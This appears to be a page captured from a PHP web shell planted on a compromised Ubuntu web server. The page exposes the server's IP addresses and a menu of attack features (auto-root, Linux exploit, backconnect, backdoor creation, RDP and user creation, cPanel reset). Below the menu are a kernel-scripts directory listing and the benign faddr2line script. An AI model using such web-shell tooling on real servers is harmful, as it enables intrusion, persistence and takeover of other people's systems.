Linux lionsclub 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 161.35.52.75 | : 3.145.1.125
Cant Read [ /etc/named.conf ]
7.4.28
www-data
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-4.15.0-213-generic /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
basic
[ DIR ]
drwxr-xr-x
coccinelle
[ DIR ]
drwxr-xr-x
dtc
[ DIR ]
drwxr-xr-x
gcc-plugins
[ DIR ]
drwxr-xr-x
gdb
[ DIR ]
drwxr-xr-x
genksyms
[ DIR ]
drwxr-xr-x
kconfig
[ DIR ]
drwxr-xr-x
ksymoops
[ DIR ]
drwxr-xr-x
mod
[ DIR ]
drwxr-xr-x
package
[ DIR ]
drwxr-xr-x
selinux
[ DIR ]
drwxr-xr-x
tracing
[ DIR ]
drwxr-xr-x
.asn1_compiler.cmd
4.43
KB
-rw-r--r--
.conmakehash.cmd
3.45
KB
-rw-r--r--
.extract-cert.cmd
6.27
KB
-rw-r--r--
.insert-sys-cert.cmd
5.27
KB
-rw-r--r--
.kallsyms.cmd
3.72
KB
-rw-r--r--
.recordmcount.cmd
4.69
KB
-rw-r--r--
.sign-file.cmd
7.24
KB
-rw-r--r--
.sortextable.cmd
4.87
KB
-rw-r--r--
Kbuild.include
18.36
KB
-rw-r--r--
Lindent
502
B
-rwxr-xr-x
Makefile
1.9
KB
-rw-r--r--
Makefile.asm-generic
1.17
KB
-rw-r--r--
Makefile.build
20.68
KB
-rw-r--r--
Makefile.clean
2.96
KB
-rw-r--r--
Makefile.dtbinst
1.09
KB
-rw-r--r--
Makefile.extrawarn
2.9
KB
-rw-r--r--
Makefile.gcc-plugins
3.75
KB
-rw-r--r--
Makefile.headersinst
3.98
KB
-rw-r--r--
Makefile.host
6.23
KB
-rw-r--r--
Makefile.kasan
1.09
KB
-rw-r--r--
Makefile.kcov
201
B
-rw-r--r--
Makefile.lib
15.25
KB
-rw-r--r--
Makefile.modbuiltin
1.82
KB
-rw-r--r--
Makefile.modinst
1.52
KB
-rw-r--r--
Makefile.modpost
5.43
KB
-rw-r--r--
Makefile.modsign
1.02
KB
-rw-r--r--
Makefile.ubsan
1.07
KB
-rw-r--r--
adjust_autoksyms.sh
3.09
KB
-rwxr-xr-x
asn1_compiler
30.84
KB
-rwxr-xr-x
asn1_compiler.c
35.54
KB
-rw-r--r--
bloat-o-meter
3.22
KB
-rwxr-xr-x
bootgraph.pl
6.28
KB
-rwxr-xr-x
check_00index.sh
1.3
KB
-rwxr-xr-x
check_extable.sh
4.93
KB
-rwxr-xr-x
checkincludes.pl
1.94
KB
-rwxr-xr-x
checkkconfigsymbols.py
15.51
KB
-rwxr-xr-x
checkpatch.pl
186.79
KB
-rwxr-xr-x
checkstack.pl
5.49
KB
-rwxr-xr-x
checksyscalls.sh
5.68
KB
-rwxr-xr-x
checkversion.pl
1.9
KB
-rwxr-xr-x
cleanfile
3.46
KB
-rwxr-xr-x
cleanpatch
5.06
KB
-rwxr-xr-x
coccicheck
7.24
KB
-rwxr-xr-x
config
4.64
KB
-rwxr-xr-x
conmakehash
12.81
KB
-rwxr-xr-x
conmakehash.c
5.98
KB
-rw-r--r--
const_structs.checkpatch
964
B
-rw-r--r--
decode_stacktrace.sh
3.82
KB
-rwxr-xr-x
decodecode
2.3
KB
-rwxr-xr-x
depmod.sh
1.94
KB
-rwxr-xr-x
diffconfig
3.72
KB
-rwxr-xr-x
documentation-file-ref-check
395
B
-rwxr-xr-x
export_report.pl
4.55
KB
-rwxr-xr-x
extract-cert
13.7
KB
-rwxr-xr-x
extract-cert.c
3.63
KB
-rw-r--r--
extract-ikconfig
1.69
KB
-rwxr-xr-x
extract-module-sig.pl
3.66
KB
-rwxr-xr-x
extract-sys-certs.pl
3.75
KB
-rwxr-xr-x
extract-vmlinux
1.6
KB
-rwxr-xr-x
extract_xc3028.pl
44.6
KB
-rwxr-xr-x
faddr2line
5.53
KB
-rwxr-xr-x
find-unused-docs.sh
1.27
KB
-rwxr-xr-x
gcc-goto.sh
530
B
-rwxr-xr-x
gcc-ld
711
B
-rwxr-xr-x
gcc-plugin.sh
1.06
KB
-rwxr-xr-x
gcc-version.sh
857
B
-rwxr-xr-x
gcc-x86_32-has-stack-protector...
219
B
-rwxr-xr-x
gcc-x86_64-has-stack-protector...
244
B
-rwxr-xr-x
gen_initramfs_list.sh
8.03
KB
-rwxr-xr-x
get_dvb_firmware
25.22
KB
-rwxr-xr-x
get_maintainer.pl
65.03
KB
-rwxr-xr-x
gfp-translate
1.71
KB
-rwxr-xr-x
headerdep.pl
3.5
KB
-rwxr-xr-x
headers.sh
512
B
-rwxr-xr-x
headers_check.pl
3.73
KB
-rwxr-xr-x
headers_install.sh
1.32
KB
-rwxr-xr-x
insert-sys-cert
18.05
KB
-rwxr-xr-x
insert-sys-cert.c
13.08
KB
-rw-r--r--
kallsyms
22.32
KB
-rwxr-xr-x
kallsyms.c
18.89
KB
-rw-r--r--
kernel-doc
92.36
KB
-rwxr-xr-x
kmsg-doc
12.13
KB
-rwxr-xr-x
ld-version.sh
269
B
-rwxr-xr-x
leaking_addresses.pl
9.65
KB
-rwxr-xr-x
link-vmlinux.sh
7.65
KB
-rwxr-xr-x
makelst
808
B
-rwxr-xr-x
markup_oops.pl
8.08
KB
-rwxr-xr-x
mkcompile_h
2.74
KB
-rwxr-xr-x
mkmakefile
1.19
KB
-rwxr-xr-x
mksysmap
1.34
KB
-rwxr-xr-x
mkuboot.sh
414
B
-rwxr-xr-x
module-common.lds
901
B
-rw-r--r--
namespace.pl
13.18
KB
-rwxr-xr-x
objdiff
2.85
KB
-rwxr-xr-x
parse-maintainers.pl
3.72
KB
-rwxr-xr-x
patch-kernel
9.95
KB
-rwxr-xr-x
pnmtologo.c
11.91
KB
-rw-r--r--
profile2linkerlist.pl
414
B
-rwxr-xr-x
prune-kernel
708
B
-rwxr-xr-x
recordmcount
28.15
KB
-rwxr-xr-x
recordmcount.c
17.49
KB
-rw-r--r--
recordmcount.h
16.4
KB
-rw-r--r--
recordmcount.pl
18.41
KB
-rwxr-xr-x
setlocalversion
4.72
KB
-rwxr-xr-x
show_delta
2.99
KB
-rwxr-xr-x
sign-file
18.31
KB
-rwxr-xr-x
sign-file.c
9.93
KB
-rw-r--r--
sortextable
17.62
KB
-rwxr-xr-x
sortextable.c
8.35
KB
-rw-r--r--
sortextable.h
5.48
KB
-rw-r--r--
spelling.txt
24.97
KB
-rw-r--r--
sphinx-pre-install
14.04
KB
-rwxr-xr-x
stackdelta
1.84
KB
-rwxr-xr-x
stackusage
794
B
-rwxr-xr-x
subarch.include
641
B
-rw-r--r--
tags.sh
9.49
KB
-rwxr-xr-x
ubuntu-retpoline-extract-one
7.26
KB
-rw-r--r--
unifdef.c
34.8
KB
-rw-r--r--
ver_linux
2.94
KB
-rwxr-xr-x
xen-hypercalls.sh
386
B
-rw-r--r--
xz_wrap.sh
562
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : faddr2line
#!/bin/bash # SPDX-License-Identifier: GPL-2.0 # # Translate stack dump function offsets. # # addr2line doesn't work with KASLR addresses. This works similarly to # addr2line, but instead takes the 'func+0x123' format as input: # # $ ./scripts/faddr2line ~/k/vmlinux meminfo_proc_show+0x5/0x568 # meminfo_proc_show+0x5/0x568: # meminfo_proc_show at fs/proc/meminfo.c:27 # # If the address is part of an inlined function, the full inline call chain is # printed: # # $ ./scripts/faddr2line ~/k/vmlinux native_write_msr+0x6/0x27 # native_write_msr+0x6/0x27: # arch_static_branch at arch/x86/include/asm/msr.h:121 # (inlined by) static_key_false at include/linux/jump_label.h:125 # (inlined by) native_write_msr at arch/x86/include/asm/msr.h:125 # # The function size after the '/' in the input is optional, but recommended. # It's used to help disambiguate any duplicate symbol names, which can occur # rarely. If the size is omitted for a duplicate symbol then it's possible for # multiple code sites to be printed: # # $ ./scripts/faddr2line ~/k/vmlinux raw_ioctl+0x5 # raw_ioctl+0x5/0x20: # raw_ioctl at drivers/char/raw.c:122 # # raw_ioctl+0x5/0xb1: # raw_ioctl at net/ipv4/raw.c:876 # # Multiple addresses can be specified on a single command line: # # $ ./scripts/faddr2line ~/k/vmlinux type_show+0x10/45 free_reserved_area+0x90 # type_show+0x10/0x2d: # type_show at drivers/video/backlight/backlight.c:213 # # free_reserved_area+0x90/0x123: # free_reserved_area at mm/page_alloc.c:6429 (discriminator 2) set -o errexit set -o nounset READELF="${CROSS_COMPILE:-}readelf" ADDR2LINE="${CROSS_COMPILE:-}addr2line" SIZE="${CROSS_COMPILE:-}size" NM="${CROSS_COMPILE:-}nm" command -v awk >/dev/null 2>&1 || die "awk isn't installed" command -v ${READELF} >/dev/null 2>&1 || die "readelf isn't installed" command -v ${ADDR2LINE} >/dev/null 2>&1 || die "addr2line isn't installed" command -v ${SIZE} >/dev/null 2>&1 || die "size isn't installed" command -v ${NM} >/dev/null 2>&1 || die "nm isn't installed" usage() { echo "usage: faddr2line <object file> <func+offset> <func+offset>..." >&2 exit 1 } warn() { echo "$1" >&2 } die() { echo "ERROR: $1" >&2 exit 1 } # Try to figure out the source directory prefix so we can remove it from the # addr2line output. HACK ALERT: This assumes that start_kernel() is in # kernel/init.c! This only works for vmlinux. Otherwise it falls back to # printing the absolute path. find_dir_prefix() { local objfile=$1 local start_kernel_addr=$(${READELF} -sW $objfile | awk '$8 == "start_kernel" {printf "0x%s", $2}') [[ -z $start_kernel_addr ]] && return local file_line=$(${ADDR2LINE} -e $objfile $start_kernel_addr) [[ -z $file_line ]] && return local prefix=${file_line%init/main.c:*} if [[ -z $prefix ]] || [[ $prefix = $file_line ]]; then return fi DIR_PREFIX=$prefix return 0 } __faddr2line() { local objfile=$1 local func_addr=$2 local dir_prefix=$3 local print_warnings=$4 local func=${func_addr%+*} local offset=${func_addr#*+} offset=${offset%/*} local size= [[ $func_addr =~ "/" ]] && size=${func_addr#*/} if [[ -z $func ]] || [[ -z $offset ]] || [[ $func = $func_addr ]]; then warn "bad func+offset $func_addr" DONE=1 return fi # Go through each of the object's symbols which match the func name. # In rare cases there might be duplicates. file_end=$(${SIZE} -Ax $objfile | awk '$1 == ".text" {print $2}') while read symbol; do local fields=($symbol) local sym_base=0x${fields[0]} local sym_type=${fields[1]} local sym_end=${fields[3]} # calculate the size local sym_size=$(($sym_end - $sym_base)) if [[ -z $sym_size ]] || [[ $sym_size -le 0 ]]; then warn "bad symbol size: base: $sym_base end: $sym_end" DONE=1 return fi sym_size=0x$(printf %x $sym_size) # calculate the address local addr=$(($sym_base + $offset)) if [[ -z $addr ]] || [[ $addr = 0 ]]; then warn "bad address: $sym_base + $offset" DONE=1 return fi addr=0x$(printf %x $addr) # weed out non-function symbols if [[ $sym_type != t ]] && [[ $sym_type != T ]]; then [[ $print_warnings = 1 ]] && echo "skipping $func address at $addr due to non-function symbol of type '$sym_type'" continue fi # if the user provided a size, make sure it matches the symbol's size if [[ -n $size ]] && [[ $size -ne $sym_size ]]; then [[ $print_warnings = 1 ]] && echo "skipping $func address at $addr due to size mismatch ($size != $sym_size)" continue; fi # make sure the provided offset is within the symbol's range if [[ $offset -gt $sym_size ]]; then [[ $print_warnings = 1 ]] && echo "skipping $func address at $addr due to size mismatch ($offset > $sym_size)" continue fi # separate multiple entries with a blank line [[ $FIRST = 0 ]] && echo FIRST=0 # pass real address to addr2line echo "$func+$offset/$sym_size:" ${ADDR2LINE} -fpie $objfile $addr | sed "s; $dir_prefix\(\./\)*; ;" DONE=1 done < <(${NM} -n $objfile | awk -v fn=$func -v end=$file_end '$3 == fn { found=1; line=$0; start=$1; next } found == 1 { found=0; print line, "0x"$1 } END {if (found == 1) print line, end; }') } [[ $# -lt 2 ]] && usage objfile=$1 [[ ! -f $objfile ]] && die "can't find objfile $objfile" shift DIR_PREFIX=supercalifragilisticexpialidocious find_dir_prefix $objfile FIRST=1 while [[ $# -gt 0 ]]; do func_addr=$1 shift # print any matches found DONE=0 __faddr2line $objfile $func_addr $DIR_PREFIX 0 # if no match was found, print warnings if [[ $DONE = 0 ]]; then __faddr2line $objfile $func_addr $DIR_PREFIX 1 warn "no match for $func_addr" fi done
Close